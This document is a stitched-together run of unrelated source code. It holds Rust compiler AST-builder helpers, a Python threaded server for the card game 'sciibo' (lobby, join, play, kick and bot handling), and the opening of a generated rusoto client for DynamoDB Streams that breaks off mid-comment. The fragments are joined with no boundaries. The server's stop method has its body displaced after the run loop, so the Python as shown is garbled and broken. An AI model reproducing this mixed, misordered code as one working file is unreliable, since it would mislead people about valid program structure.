expr_u8(&self, sp: Span, u: u8) -> P<ast::Expr> { self.expr_lit(sp, ast::LitKind::Int(u as u64, ast::LitIntType::Unsigned(ast::UintTy::U8))) } fn expr_bool(&self, sp: Span, value: bool) -> P<ast::Expr> { self.expr_lit(sp, ast::LitKind::Bool(value)) } fn expr_vec(&self, sp: Span, exprs: Vec<P<ast::Expr>>) -> P<ast::Expr> { self.expr(sp, ast::ExprKind::Vec(exprs)) } fn expr_vec_ng(&self, sp: Span) -> P<ast::Expr> { self.expr_call_global(sp, self.std_path(&["vec", "Vec", "new"]), Vec::new()) } fn expr_vec_slice(&self, sp: Span, exprs: Vec<P<ast::Expr>>) -> P<ast::Expr> { self.expr_addr_of(sp, self.expr_vec(sp, exprs)) } fn expr_str(&self, sp: Span, s: InternedString) -> P<ast::Expr> { self.expr_lit(sp, ast::LitKind::Str(s, ast::StrStyle::Cooked)) } fn expr_cast(&self, sp: Span, expr: P<ast::Expr>, ty: P<ast::Ty>) -> P<ast::Expr> { self.expr(sp, ast::ExprKind::Cast(expr, ty)) } fn expr_some(&self, sp: Span, expr: P<ast::Expr>) -> P<ast::Expr> { let some = self.std_path(&["option", "Option", "Some"]); self.expr_call_global(sp, some, vec!(expr)) } fn expr_none(&self, sp: Span) -> P<ast::Expr> { let none = self.std_path(&["option", "Option", "None"]); let none = self.path_global(sp, none); self.expr_path(none) } fn expr_break(&self, sp: Span) -> P<ast::Expr> { self.expr(sp, ast::ExprKind::Break(None)) } fn expr_tuple(&self, sp: Span, exprs: Vec<P<ast::Expr>>) -> P<ast::Expr> { self.expr(sp, ast::ExprKind::Tup(exprs)) } fn expr_fail(&self, span: Span, msg: InternedString) -> P<ast::Expr> { let loc = self.codemap().lookup_char_pos(span.lo); let expr_file = self.expr_str(span, token::intern_and_get_ident(&loc.file.name)); let expr_line = self.expr_u32(span, loc.line as u32); let expr_file_line_tuple = self.expr_tuple(span, vec!(expr_file, expr_line)); let expr_file_line_ptr = self.expr_addr_of(span, expr_file_line_tuple); self.expr_call_global( span, self.std_path(&["rt", "begin_panic"]), vec!( self.expr_str(span, msg), expr_file_line_ptr)) } fn expr_unreachable(&self, span: Span) -> P<ast::Expr> { self.expr_fail(span, InternedString::new( "internal error: entered unreachable code")) } fn expr_ok(&self, sp: Span, expr: P<ast::Expr>) -> P<ast::Expr> { let ok = self.std_path(&["result", "Result", "Ok"]); self.expr_call_global(sp, ok, vec!(expr)) } fn expr_err(&self, sp: Span, expr: P<ast::Expr>) -> P<ast::Expr> { let err = self.std_path(&["result", "Result", "Err"]); self.expr_call_global(sp, err, vec!(expr)) } fn expr_try(&self, sp: Span, head: P<ast::Expr>) -> P<ast::Expr> { let ok = self.std_path(&["result", "Result", "Ok"]); let ok_path = self.path_global(sp, ok); let err = self.std_path(&["result", "Result", "Err"]); let err_path = self.path_global(sp, err); let binding_variable = self.ident_of("__try_var"); let binding_pat = self.pat_ident(sp, binding_variable); let binding_expr = self.expr_ident(sp, binding_variable); // Ok(__try_var) pattern let ok_pat = self.pat_enum(sp, ok_path, vec!(binding_pat.clone())); // Err(__try_var) (pattern and expression resp.) let err_pat = self.pat_enum(sp, err_path.clone(), vec!(binding_pat)); let err_inner_expr = self.expr_call(sp, self.expr_path(err_path), vec!(binding_expr.clone())); // return Err(__try_var) let err_expr = self.expr(sp, ast::ExprKind::Ret(Some(err_inner_expr))); // Ok(__try_var) => __try_var let ok_arm = self.arm(sp, vec!(ok_pat), binding_expr); // Err(__try_var) => return Err(__try_var) let err_arm = self.arm(sp, vec!(err_pat), err_expr); // match head { Ok() => ..., Err() => ... } self.expr_match(sp, head, vec!(ok_arm, err_arm)) } fn pat(&self, span: Span, pat: PatKind) -> P<ast::Pat> { P(ast::Pat { id: ast::DUMMY_NODE_ID, node: pat, span: span }) } fn pat_wild(&self, span: Span) -> P<ast::Pat> { self.pat(span, PatKind::Wild) } fn pat_lit(&self, span: Span, expr: P<ast::Expr>) -> P<ast::Pat> { self.pat(span, PatKind::Lit(expr)) } fn pat_ident(&self, span: Span, ident: ast::Ident) -> P<ast::Pat> { let binding_mode = ast::BindingMode::ByValue(ast::Mutability::Immutable); self.pat_ident_binding_mode(span, ident, binding_mode) } fn pat_ident_binding_mode(&self, span: Span, ident: ast::Ident, bm: ast::BindingMode) -> P<ast::Pat> { let pat = PatKind::Ident(bm, Spanned{span: span, node: ident}, None); self.pat(span, pat) } fn pat_enum(&self, span: Span, path: ast::Path, subpats: Vec<P<ast::Pat>>) -> P<ast::Pat> { let pat = if subpats.is_empty() { PatKind::Path(path) } else { PatKind::TupleStruct(path, Some(subpats)) }; self.pat(span, pat) } fn pat_struct(&self, span: Span, path: ast::Path, field_pats: Vec<Spanned<ast::FieldPat>>) -> P<ast::Pat> { let pat = PatKind::Struct(path, field_pats, false); self.pat(span, pat) } fn pat_tuple(&self, span: Span, pats: Vec<P<ast::Pat>>) -> P<ast::Pat> { self.pat(span, PatKind::Tup(pats)) } fn pat_some(&self, span: Span, pat: P<ast::Pat>) -> P<ast::Pat> { let some = self.std_path(&["option", "Option", "Some"]); let path = self.path_global(span, some); self.pat_enum(span, path, vec!(pat)) } fn pat_none(&self, span: Span) -> P<ast::Pat> { let some = self.std_path(&["option", "Option", "None"]); let path = self.path_global(span, some); self.pat_enum(span, path, vec!()) } fn pat_ok(&self, span: Span, pat: P<ast::Pat>) -> P<ast::Pat> { let some = self.std_path(&["result", "Result", "Ok"]); let path = self.path_global(span, some); self.pat_enum(span, path, vec!(pat)) } fn pat_err(&self, span: Span, pat: P<ast::Pat>) -> P<ast::Pat> { let some = self.std_path(&["result", "Result", "Err"]); let path = self.path_global(span, some); self.pat_enum(span, path, vec!(pat)) } fn arm(&self, _span: Span, pats: Vec<P<ast::Pat>>, expr: P<ast::Expr>) -> ast::Arm { ast::Arm { attrs: vec!(), pats: pats, guard: None, body: expr } } fn arm_unreachable(&self, span: Span) -> ast::Arm { self.arm(span, vec!(self.pat_wild(span)), self.expr_unreachable(span)) } fn expr_match(&self, span: Span, arg: P<ast::Expr>, arms: Vec<ast::Arm>) -> P<Expr> { self.expr(span, ast::ExprKind::Match(arg, arms)) } fn expr_if(&self, span: Span, cond: P<ast::Expr>, then: P<ast::Expr>, els: Option<P<ast::Expr>>) -> P<ast::Expr> { let els = els.map(|x| self.expr_block(self.block_expr(x))); self.expr(span, ast::ExprKind::If(cond, self.block_expr(then), els)) } fn expr_loop(&self, span: Span, block: P<ast::Block>) -> P<ast::Expr> { self.expr(span, ast::ExprKind::Loop(block, None)) } fn lambda_fn_decl(&self, span: Span, fn_decl: P<ast::FnDecl>, blk: P<ast::Block>, fn_decl_span: Span) // span of the `|...|` part -> P<ast::Expr> { self.expr(span, ast::ExprKind::Closure(ast::CaptureBy::Ref, fn_decl, blk, fn_decl_span)) } fn lambda(&self, span: Span, ids: Vec<ast::Ident>, blk: P<ast::Block>) -> P<ast::Expr> { let fn_decl = self.fn_decl( ids.iter().map(|id| self.arg(span, *id, self.ty_infer(span))).collect(), self.ty_infer(span)); // FIXME -- We are using `span` as the span of the `|...|` // part of the lambda, but it probably (maybe?) corresponds to // the entire lambda body. Probably we should extend the API // here, but that's not entirely clear. self.expr(span, ast::ExprKind::Closure(ast::CaptureBy::Ref, fn_decl, blk, span)) } fn lambda0(&self, span: Span, blk: P<ast::Block>) -> P<ast::Expr> { self.lambda(span, Vec::new(), blk) } fn lambda1(&self, span: Span, blk: P<ast::Block>, ident: ast::Ident) -> P<ast::Expr> { self.lambda(span, vec!(ident), blk) } fn lambda_expr(&self, span: Span, ids: Vec<ast::Ident>, expr: P<ast::Expr>) -> P<ast::Expr> { self.lambda(span, ids, self.block_expr(expr)) } fn lambda_expr_0(&self, span: Span, expr: P<ast::Expr>) -> P<ast::Expr> { self.lambda0(span, self.block_expr(expr)) } fn lambda_expr_1(&self, span: Span, expr: P<ast::Expr>, ident: ast::Ident) -> P<ast::Expr> { self.lambda1(span, self.block_expr(expr), ident) } fn lambda_stmts(&self, span: Span, ids: Vec<ast::Ident>, stmts: Vec<ast::Stmt>) -> P<ast::Expr> { self.lambda(span, ids, self.block(span, stmts, None)) } fn lambda_stmts_0(&self, span: Span, stmts: Vec<ast::Stmt>) -> P<ast::Expr> { self.lambda0(span, self.block(span, stmts, None)) } fn lambda_stmts_1(&self, span: Span, stmts: Vec<ast::Stmt>, ident: ast::Ident) -> P<ast::Expr> { self.lambda1(span, self.block(span, stmts, None), ident) } fn arg(&self, span: Span, ident: ast::Ident, ty: P<ast::Ty>) -> ast::Arg { let arg_pat = self.pat_ident(span, ident); ast::Arg { ty: ty, pat: arg_pat, id: ast::DUMMY_NODE_ID } } // FIXME unused self fn fn_decl(&self, inputs: Vec<ast::Arg>, output: P<ast::Ty>) -> P<ast::FnDecl> { P(ast::FnDecl { inputs: inputs, output: ast::FunctionRetTy::Ty(output), variadic: false }) } fn item(&self, span: Span, name: Ident, attrs: Vec<ast::Attribute>, node: ast::ItemKind) -> P<ast::Item> { // FIXME: Would be nice if our generated code didn't violate // Rust coding conventions P(ast::Item { ident: name, attrs: attrs, id: ast::DUMMY_NODE_ID, node: node, vis: ast::Visibility::Inherited, span: span }) } fn item_fn_poly(&self, span: Span, name: Ident, inputs: Vec<ast::Arg> , output: P<ast::Ty>, generics: Generics, body: P<ast::Block>) -> P<ast::Item> {
self.item(span, name, Vec::new(), ast::ItemKind::Fn(self.fn_decl(inputs, output), ast::Unsafety::Normal, ast::Constness::NotConst, Abi::Rust, generics, body)) } fn item_fn(&self, span: Span, name: Ident, inputs: Vec<ast::Arg> , output: P<ast::Ty>, body: P<ast::Block> ) -> P<ast::Item> { self.item_fn_poly( span, name, inputs, output, Generics::default(), body) } fn variant(&self, span: Span, name: Ident, tys: Vec<P<ast::Ty>> ) -> ast::Variant { let fields: Vec<_> = tys.into_iter().map(|ty| { ast::StructField { span: ty.span, ty: ty, ident: None, vis: ast::Visibility::Inherited, attrs: Vec::new(), id: ast::DUMMY_NODE_ID, } }).collect(); let vdata = if fields.is_empty() { ast::VariantData::Unit(ast::DUMMY_NODE_ID) } else { ast::VariantData::Tuple(fields, ast::DUMMY_NODE_ID) }; respan(span, ast::Variant_ { name: name, attrs: Vec::new(), data: vdata, disr_expr: None, }) } fn item_enum_poly(&self, span: Span, name: Ident, enum_definition: ast::EnumDef, generics: Generics) -> P<ast::Item> { self.item(span, name, Vec::new(), ast::ItemKind::Enum(enum_definition, generics)) } fn item_enum(&self, span: Span, name: Ident, enum_definition: ast::EnumDef) -> P<ast::Item> { self.item_enum_poly(span, name, enum_definition, Generics::default()) } fn item_struct(&self, span: Span, name: Ident, struct_def: ast::VariantData) -> P<ast::Item> { self.item_struct_poly( span, name, struct_def, Generics::default() ) } fn item_struct_poly(&self, span: Span, name: Ident, struct_def: ast::VariantData, generics: Generics) -> P<ast::Item> { self.item(span, name, Vec::new(), ast::ItemKind::Struct(struct_def, generics)) } fn item_mod(&self, span: Span, inner_span: Span, name: Ident, attrs: Vec<ast::Attribute>, items: Vec<P<ast::Item>>) -> P<ast::Item> { self.item( span, name, attrs, ast::ItemKind::Mod(ast::Mod { inner: inner_span, items: items, }) ) } fn item_static(&self, span: Span, name: Ident, ty: P<ast::Ty>, mutbl: ast::Mutability, expr: P<ast::Expr>) -> P<ast::Item> { self.item(span, name, Vec::new(), ast::ItemKind::Static(ty, mutbl, expr)) } fn item_const(&self, span: Span, name: Ident, ty: P<ast::Ty>, expr: P<ast::Expr>) -> P<ast::Item> { self.item(span, name, Vec::new(), ast::ItemKind::Const(ty, expr)) } fn item_ty_poly(&self, span: Span, name: Ident, ty: P<ast::Ty>, generics: Generics) -> P<ast::Item> { self.item(span, name, Vec::new(), ast::ItemKind::Ty(ty, generics)) } fn item_ty(&self, span: Span, name: Ident, ty: P<ast::Ty>) -> P<ast::Item> { self.item_ty_poly(span, name, ty, Generics::default()) } fn attribute(&self, sp: Span, mi: P<ast::MetaItem>) -> ast::Attribute { respan(sp, ast::Attribute_ { id: attr::mk_attr_id(), style: ast::AttrStyle::Outer, value: mi, is_sugared_doc: false, }) } fn meta_word(&self, sp: Span, w: InternedString) -> P<ast::MetaItem> { P(respan(sp, ast::MetaItemKind::Word(w))) } fn meta_list(&self, sp: Span, name: InternedString, mis: Vec<P<ast::MetaItem>> ) -> P<ast::MetaItem> { P(respan(sp, ast::MetaItemKind::List(name, mis))) } fn meta_name_value(&self, sp: Span, name: InternedString, value: ast::LitKind) -> P<ast::MetaItem> { P(respan(sp, ast::MetaItemKind::NameValue(name, respan(sp, value)))) } fn item_use(&self, sp: Span, vis: ast::Visibility, vp: P<ast::ViewPath>) -> P<ast::Item> { P(ast::Item { id: ast::DUMMY_NODE_ID, ident: keywords::Invalid.ident(), attrs: vec![], node: ast::ItemKind::Use(vp), vis: vis, span: sp }) } fn item_use_simple(&self, sp: Span, vis: ast::Visibility, path: ast::Path) -> P<ast::Item> { let last = path.segments.last().unwrap().identifier; self.item_use_simple_(sp, vis, last, path) } fn item_use_simple_(&self, sp: Span, vis: ast::Visibility, ident: ast::Ident, path: ast::Path) -> P<ast::Item> { self.item_use(sp, vis, P(respan(sp, ast::ViewPathSimple(ident, path)))) } fn item_use_list(&self, sp: Span, vis: ast::Visibility, path: Vec<ast::Ident>, imports: &[ast::Ident]) -> P<ast::Item> { let imports = imports.iter().map(|id| { let item = ast::PathListItemKind::Ident { name: *id, rename: None, id: ast::DUMMY_NODE_ID, }; respan(sp, item) }).collect(); self.item_use(sp, vis, P(respan(sp, ast::ViewPathList(self.path(sp, path), imports)))) } fn item_use_glob(&self, sp: Span, vis: ast::Visibility, path: Vec<ast::Ident>) -> P<ast::Item> { self.item_use(sp, vis, P(respan(sp, ast::ViewPathGlob(self.path(sp, path))))) } }
server.py
from threading import Thread import random import time from sciibo.bot import Bot from sciibo.core.emitter import Emitter from sciibo.core.helpers import Queue from sciibo.network.broadcast import BroadcastThread from sciibo.network.connection import ConnectionThread from sciibo.network.listen import ListenThread from sciibo.network.proxy import ProxyConnections from .game import Game class Server(Thread, Emitter): def __init__(self, name, cards=15, local=False): Thread.__init__(self) Emitter.__init__(self) # Indicates the thread should be stopped self.stopped = False # Server settings self.name = name self.local = local self.cards = cards # Create game state self.game = Game() if not self.local: # Binding the port might fail, exception will bubble up # before we start any of these threads self.listen = ListenThread() self.broadcast = BroadcastThread() # Listen for incoming connections self.listen.on('connect', self.on_connect) self.listen.start() # Let clients find this server by broadcasting self.broadcast.on('discover', self.on_discover) self.broadcast.start() # Connections with clients self.connections = [] # Queue of incoming messages to be processed self.queue = Queue() # Bot clients self.bots = [] self.bot_names = [ 'Anna', 'Becca', 'Charlotte', 'Daphne', 'Emily', ] random.shuffle(self.bot_names) def stop(self): # Thread should be stopped
def run(self): while not self.stopped: while not self.queue.empty(): conn, data = self.queue.get() self.on_client_message(conn, data) self.queue.task_done() time.sleep(0.2) # Stop networking if not self.local: self.listen.stop() self.broadcast.stop() # Stop connections with clients for conn in self.connections: conn.stop() # Stop bot threads for bot in self.bots: bot.stop() """ Events """ def on_discover(self, address): self.broadcast.send(address, self.name) def on_connect(self, sock, address): conn = ConnectionThread(sock) conn.on('receive', self.on_client_receive) self.connections.append(conn) conn.start() def on_client_receive(self, conn, data): self.queue.put((conn, data)) def on_client_message(self, conn, data): type = data['type'] # Validate message type if type not in ('join', 'play', 'disconnect'): return if type == 'disconnect': # Stop connection conn.stop() self.connections.remove(conn) if conn.player: player = self.game.get_player(conn.player) # Let other players know player left self.send_all({ 'type': 'leave', 'player': player.id, }) # Remove player from player list self.game.remove_player(player.id) # Let interface know (only used in lobby) self.trigger('leave', player.name) # Active game if self.game.started and not self.game.ended: if len(self.game.player_ids) == 1: # Let other players know player left self.send_all({ 'type': 'end', }) self.game.end() return # It was this player's turn if self.game.turn == player.id: self.next_turn() if type == 'join': # Connection is already joined if conn.player: return name = data['name'] reason = None if self.game.started: reason = 'started' elif len(self.game.players) == 5: reason = 'full' elif any(player.name.lower() == name.lower() for player in self.game.players): reason = 'name' if reason: conn.send({ 'type': 'reject', 'reason': reason, }) conn.stop() self.connections.remove(conn) return # Call helper method to add player to game self.add_player(name, conn, 'network') if type == 'play': if not conn.player: return if not self.game.started: return if self.game.ended: return if self.game.turn != conn.player: return player = self.game.get_player(conn.player) value = data['value'] source = data['source'] target = data['target'] # Invalid move, let player try again if not self.game.valid_move(value, source, target): # Only send turn again to player, other players # don't know an invalid move was made player.send({ 'type': 'invalid', }) return # Perform move self.game.play(value, source, target) message = { 'type': 'play', 'player': player.id, 'value': value, 'source': source, 'target': target, } # New stock card revealed if source == 'stock': message['reveal'] = player.stock_pile.top self.send_all(message) if player.stock_pile.empty(): self.send_all({ 'type': 'end', 'winner': player.id, }) self.game.end(player.id) return # Card was played to build pile if target in ('build:0', 'build:1', 'build:2', 'build:3'): # Player emptied their hand if len(player.hand) == 0: # Give five new cards self.draw_cards() # Player gets another turn player.send({ 'type': 'turn', 'player': player.id, }) else: self.next_turn() """ Actions """ def add_bot(self): if len(self.game.player_ids) == 5: return # Find a bot name that is not in use player_names = [player.name.lower() for player in self.game.players] name = [name for name in self.bot_names if name.lower() not in player_names][0] self.bot_names.remove(name) # Add bot proxy_server, proxy_client = ProxyConnections() bot = Bot(proxy_client) bot.start() self.bots.append(bot) # Call helper method to add player to game self.add_player(name, proxy_server, 'bot') self.connections.append(proxy_server) def kick_player(self, id): player = self.game.get_player(id) if player: # Local player can not be kicked if player.type == 'local': return # Return bot name back to pool if player.type == 'bot': self.bot_names.append(player.name) if player.type == 'network': player.send({ 'type': 'kick' }) # Stop connection player.conn.stop() self.connections.remove(player.conn) # Let other players know player left self.send_all({ 'type': 'leave', 'player': player.id, }) # Remove player from player list self.game.remove_player(id) # Let interface know self.trigger('leave', player.name) def start_game(self): if len(self.game.player_ids) < 2: return self.game.start(self.cards) # Top stock cards in player order reveal_cards = [player.stock_pile.top for player in self.game.players] # Start the game self.send_all({ 'type': 'start', 'order': self.game.player_ids, 'stock': self.cards, 'reveal': reveal_cards, }) # Send dealt cards to players for player in self.game.players: # Send hand to player player.send({ 'type': 'hand', 'cards': player.hand, }) # Send hand count to opponents self.send_all({ 'type': 'draw', 'player': player.id, 'cards': 5, }, without=player.id) # Let players know whose turn it is self.send_all({ 'type': 'turn', 'player': self.game.turn, }) """ Helper methods """ def send_all(self, data, without=None): for player in self.game.players: if player.id == without: continue player.send(data) def add_player(self, name, conn, type): # Add player to game player = self.game.add_player(name, conn, type) # Reset possibly set receive handler by on_connect conn.off('receive') # Handle messages from client conn.on('receive', self.on_client_receive) # Bind connection to player conn.player = player.id # List of players (including player who just joined) players = [] for opponent in self.game.players: players.append({ 'id': opponent.id, 'name': opponent.name, }) # Send welcome message player.send({ 'type': 'welcome', 'name': self.name, 'id': player.id, 'players': players, }) # Send join message to other players self.send_all({ 'type': 'join', 'id': player.id, 'name': player.name, }, without=player.id) # Let interface know self.trigger('join', player.name) return player def draw_cards(self): cards = self.game.draw_cards() player = self.game.get_player(self.game.turn) # Draw pile might be empty if cards: # Let player who which cards he drew self.send_all({ 'type': 'draw', 'player': player.id, 'cards': len(cards), }, without=player.id) # Let opponents know how many cards the player drew player.send({ 'type': 'hand', 'cards': cards, }) def next_turn(self): self.game.next_turn() self.draw_cards() # Let everybody know whose turn it is self.send_all({ 'type': 'turn', 'player': self.game.turn, })
self.stopped = True
generated.rs
// ================================================================= // // * WARNING * // // This file is generated! // // Changes made to this file will be overwritten. If changes are // required to the generated code, the service_crategen project // must be updated to generate the changes. // // ================================================================= #![allow(warnings)] use futures::future; use futures::Future; use rusoto_core::credential::ProvideAwsCredentials; use rusoto_core::region; use rusoto_core::request::{BufferedHttpResponse, DispatchSignedRequest}; use rusoto_core::{Client, RusotoError, RusotoFuture}; use std::error::Error; use std::fmt; use rusoto_core::proto; use rusoto_core::signature::SignedRequest; use serde_json; /// <p>Represents the data for an attribute. You can set one, and only one, of the elements.</p> <p>Each attribute in an item is a name-value pair. An attribute can be single-valued or multi-valued set. For example, a book item can have title and authors attributes. Each book has one title but can have many authors. The multi-valued attribute is a set; duplicate values are not allowed.</p> #[derive(Default, Debug, Clone, PartialEq, Deserialize)] #[cfg_attr(any(test, feature = "serialize_structs"), derive(Serialize))] pub struct AttributeValue { /// <p>A Binary data type.</p> #[serde(rename = "B")] #[serde( deserialize_with = "::rusoto_core::serialization::SerdeBlob::deserialize_blob", serialize_with = "::rusoto_core::serialization::SerdeBlob::serialize_blob", default )] #[serde(skip_serializing_if = "Option::is_none")] pub b: Option<bytes::Bytes>, /// <p>A Boolean data type.</p> #[serde(rename = "BOOL")] #[serde(skip_serializing_if = "Option::is_none")] pub bool: Option<bool>, /// <p>A Binary Set data type.</p> #[serde(rename = "BS")] #[serde( deserialize_with = "::rusoto_core::serialization::SerdeBlobList::deserialize_blob_list", serialize_with = "::rusoto_core::serialization::SerdeBlobList::serialize_blob_list", default )] #[serde(skip_serializing_if = "Option::is_none")] pub bs: Option<Vec<bytes::Bytes>>, /// <p>A List data type.</p> #[serde(rename = "L")] #[serde(skip_serializing_if = "Option::is_none")] pub l: Option<Vec<AttributeValue>>, /// <p>A Map data type.</p> #[serde(rename = "M")] #[serde(skip_serializing_if = "Option::is_none")] pub m: Option<::std::collections::HashMap<String, AttributeValue>>, /// <p>A Number data type.</p> #[serde(rename = "N")] #[serde(skip_serializing_if = "Option::is_none")] pub n: Option<String>, /// <p>A Number Set data type.</p> #[serde(rename = "NS")] #[serde(skip_serializing_if = "Option::is_none")] pub ns: Option<Vec<String>>, /// <p>A Null data type.</p> #[serde(rename = "NULL")] #[serde(skip_serializing_if = "Option::is_none")] pub null: Option<bool>, /// <p>A String data type.</p> #[serde(rename = "S")] #[serde(skip_serializing_if = "Option::is_none")] pub s: Option<String>, /// <p>A String Set data type.</p> #[serde(rename = "SS")] #[serde(skip_serializing_if = "Option::is_none")] pub ss: Option<Vec<String>>, } /// <p>Represents the input of a <code>DescribeStream</code> operation.</p> #[derive(Default, Debug, Clone, PartialEq, Serialize)] #[cfg_attr(feature = "deserialize_structs", derive(Deserialize))] pub struct DescribeStreamInput { /// <p>The shard ID of the first item that this operation will evaluate. Use the value that was returned for <code>LastEvaluatedShardId</code> in the previous operation. </p> #[serde(rename = "ExclusiveStartShardId")] #[serde(skip_serializing_if = "Option::is_none")] pub exclusive_start_shard_id: Option<String>, /// <p>The maximum number of shard objects to return. The upper limit is 100.</p> #[serde(rename = "Limit")] #[serde(skip_serializing_if = "Option::is_none")] pub limit: Option<i64>, /// <p>The Amazon Resource Name (ARN) for the stream.</p> #[serde(rename = "StreamArn")] pub stream_arn: String, } /// <p>Represents the output of a <code>DescribeStream</code> operation.</p> #[derive(Default, Debug, Clone, PartialEq, Deserialize)] #[cfg_attr(any(test, feature = "serialize_structs"), derive(Serialize))] pub struct DescribeStreamOutput { /// <p>A complete description of the stream, including its creation date and time, the DynamoDB table associated with the stream, the shard IDs within the stream, and the beginning and ending sequence numbers of stream records within the shards.</p> #[serde(rename = "StreamDescription")] #[serde(skip_serializing_if = "Option::is_none")] pub stream_description: Option<StreamDescription>, } /// <p>Represents the input of a <code>GetRecords</code> operation.</p> #[derive(Default, Debug, Clone, PartialEq, Serialize)] #[cfg_attr(feature = "deserialize_structs", derive(Deserialize))] pub struct GetRecordsInput { /// <p>The maximum number of records to return from the shard. The upper limit is 1000.</p> #[serde(rename = "Limit")] #[serde(skip_serializing_if = "Option::is_none")] pub limit: Option<i64>, /// <p>A shard iterator that was retrieved from a previous GetShardIterator operation. This iterator can be used to access the stream records in this shard.</p> #[serde(rename = "ShardIterator")] pub shard_iterator: String, } /// <p>Represents the output of a <code>GetRecords</code> operation.</p> #[derive(Default, Debug, Clone, PartialEq, Deserialize)] #[cfg_attr(any(test, feature = "serialize_structs"), derive(Serialize))] pub struct GetRecordsOutput { /// <p>The next position in the shard from which to start sequentially reading stream records. If set to <code>null</code>, the shard has been closed and the requested iterator will not return any more data.</p> #[serde(rename = "NextShardIterator")] #[serde(skip_serializing_if = "Option::is_none")] pub next_shard_iterator: Option<String>, /// <p>The stream records from the shard, which were retrieved using the shard iterator.</p> #[serde(rename = "Records")] #[serde(skip_serializing_if = "Option::is_none")] pub records: Option<Vec<Record>>, } /// <p>Represents the input of a <code>GetShardIterator</code> operation.</p> #[derive(Default, Debug, Clone, PartialEq, Serialize)] #[cfg_attr(feature = "deserialize_structs", derive(Deserialize))] pub struct GetShardIteratorInput { /// <p>The sequence number of a stream record in the shard from which to start reading.</p> #[serde(rename = "SequenceNumber")] #[serde(skip_serializing_if = "Option::is_none")] pub sequence_number: Option<String>, /// <p>The identifier of the shard. The iterator will be returned for this shard ID.</p> #[serde(rename = "ShardId")] pub shard_id: String, /// <p><p>Determines how the shard iterator is used to start reading stream records from the shard:</p> <ul> <li> <p> <code>AT<em>SEQUENCE</em>NUMBER</code> - Start reading exactly from the position denoted by a specific sequence number.</p> </li> <li> <p> <code>AFTER<em>SEQUENCE</em>NUMBER</code> - Start reading right after the position denoted by a specific sequence number.</p> </li> <li> <p> <code>TRIM_HORIZON</code> - Start reading at the last (untrimmed) stream record, which is the oldest record in the shard. In DynamoDB Streams, there is a 24 hour limit on data retention. Stream records whose age exceeds this limit are subject to removal (trimming) from the stream.</p> </li> <li> <p> <code>LATEST</code> - Start reading just after the most recent stream record in the shard, so that you always read the most recent data in the shard.</p> </li> </ul></p> #[serde(rename = "ShardIteratorType")] pub shard_iterator_type: String, /// <p>The Amazon Resource Name (ARN) for the stream.</p> #[serde(rename = "StreamArn")] pub stream_arn: String, } /// <p>Represents the output of a <code>GetShardIterator</code> operation.</p> #[derive(Default, Debug, Clone, PartialEq, Deserialize)] #[cfg_attr(any(test, feature = "serialize_structs"), derive(Serialize))] pub struct GetShardIteratorOutput { /// <p>The position in the shard from which to start reading stream records sequentially. A shard iterator specifies this position using the sequence number of a stream record in a shard.</p> #[serde(rename = "ShardIterator")] #[serde(skip_serializing_if = "Option::is_none")] pub shard_iterator: Option<String>, } /// <p>Contains details about the type of identity that made the request.</p> #[derive(Default, Debug, Clone, PartialEq, Deserialize)] #[cfg_attr(any(test, feature = "serialize_structs"), derive(Serialize))] pub struct Identity { /// <p>A unique identifier for the entity that made the call. For Time To Live, the principalId is "dynamodb.amazonaws.com".</p> #[serde(rename = "PrincipalId")] #[serde(skip_serializing_if = "Option::is_none")] pub principal_id: Option<String>, /// <p>The type of the identity. For Time To Live, the type is "Service".</p> #[serde(rename = "Type")] #[serde(skip_serializing_if = "Option::is_none")] pub type_: Option<String>, } /// <p><p>Represents <i>a single element</i> of a key schema. A key schema specifies the attributes that make up the primary key of a table, or the key attributes of an index.</p> <p>A <code>KeySchemaElement</code> represents exactly one attribute of the primary key. For example, a simple primary key (partition key) would be represented by one <code>KeySchemaElement</code>. A composite primary key (partition key and sort key) would require one <code>KeySchemaElement</code> for the partition key, and another <code>KeySchemaElement</code> for the sort key.</p> <note> <p>The partition key of an item is also known as its <i>hash attribute</i>. The term &quot;hash attribute&quot; derives from DynamoDB&#39;s usage of an internal hash function to evenly distribute data items across partitions, based on their partition key values.</p> <p>The sort key of an item is also known as its <i>range attribute</i>. The term &quot;range attribute&quot; derives from the way DynamoDB stores items with the same partition key physically close together, in sorted order by the sort key value.</p> </note></p> #[derive(Default, Debug, Clone, PartialEq, Deserialize)] #[cfg_attr(any(test, feature = "serialize_structs"), derive(Serialize))] pub struct KeySchemaElement { /// <p>The name of a key attribute.</p> #[serde(rename = "AttributeName")] pub attribute_name: String, /// <p>The attribute data, consisting of the data type and the attribute value itself.</p> #[serde(rename = "KeyType")] pub key_type: String, } /// <p>Represents the input of a <code>ListStreams</code> operation.</p> #[derive(Default, Debug, Clone, PartialEq, Serialize)] #[cfg_attr(feature = "deserialize_structs", derive(Deserialize))] pub struct ListStreamsInput { /// <p>The ARN (Amazon Resource Name) of the first item that this operation will evaluate. Use the value that was returned for <code>LastEvaluatedStreamArn</code> in the previous operation. </p> #[serde(rename = "ExclusiveStartStreamArn")] #[serde(skip_serializing_if = "Option::is_none")] pub exclusive_start_stream_arn: Option<String>, /// <p>The maximum number of streams to return. The upper limit is 100.</p> #[serde(rename = "Limit")] #[serde(skip_serializing_if = "Option::is_none")] pub limit: Option<i64>, /// <p>If this parameter is provided, then only the streams associated with this table name are returned.</p> #[serde(rename = "TableName")] #[serde(skip_serializing_if = "Option::is_none")] pub table_name: Option<String>, } /// <p>Represents the output of a <code>ListStreams</code> operation.</p> #[derive(Default, Debug, Clone, PartialEq, Deserialize)] #[cfg_attr(any(test, feature = "serialize_structs"), derive(Serialize))] pub struct ListStreamsOutput { /// <p>The stream ARN of the item where the operation stopped, inclusive of the previous result set. Use this value to start a new operation, excluding this value in the new request.</p> <p>If <code>LastEvaluatedStreamArn</code> is empty, then the "last page" of results has been processed and there is no more data to be retrieved.</p> <p>If <code>LastEvaluatedStreamArn</code> is not empty, it does not necessarily mean that there is more data in the result set. The only way to know when you have reached the end of the result set is when <code>LastEvaluatedStreamArn</code> is empty.</p> #[serde(rename = "LastEvaluatedStreamArn")] #[serde(skip_serializing_if = "Option::is_none")] pub last_evaluated_stream_arn: Option<String>, /// <p>A list of stream descriptors associated with the current account and endpoint.</p> #[serde(rename = "Streams")] #[serde(skip_serializing_if = "Option::is_none")] pub streams: Option<Vec<Stream>>, } /// <p>A description of a unique event within a stream.</p> #[derive(Default, Debug, Clone, PartialEq, Deserialize)] #[cfg_attr(any(test, feature = "serialize_structs"), derive(Serialize))] pub struct Record { /// <p>The region in which the <code>GetRecords</code> request was received.</p> #[serde(rename = "awsRegion")] #[serde(skip_serializing_if = "Option::is_none")] pub aws_region: Option<String>, /// <p>The main body of the stream record, containing all of the 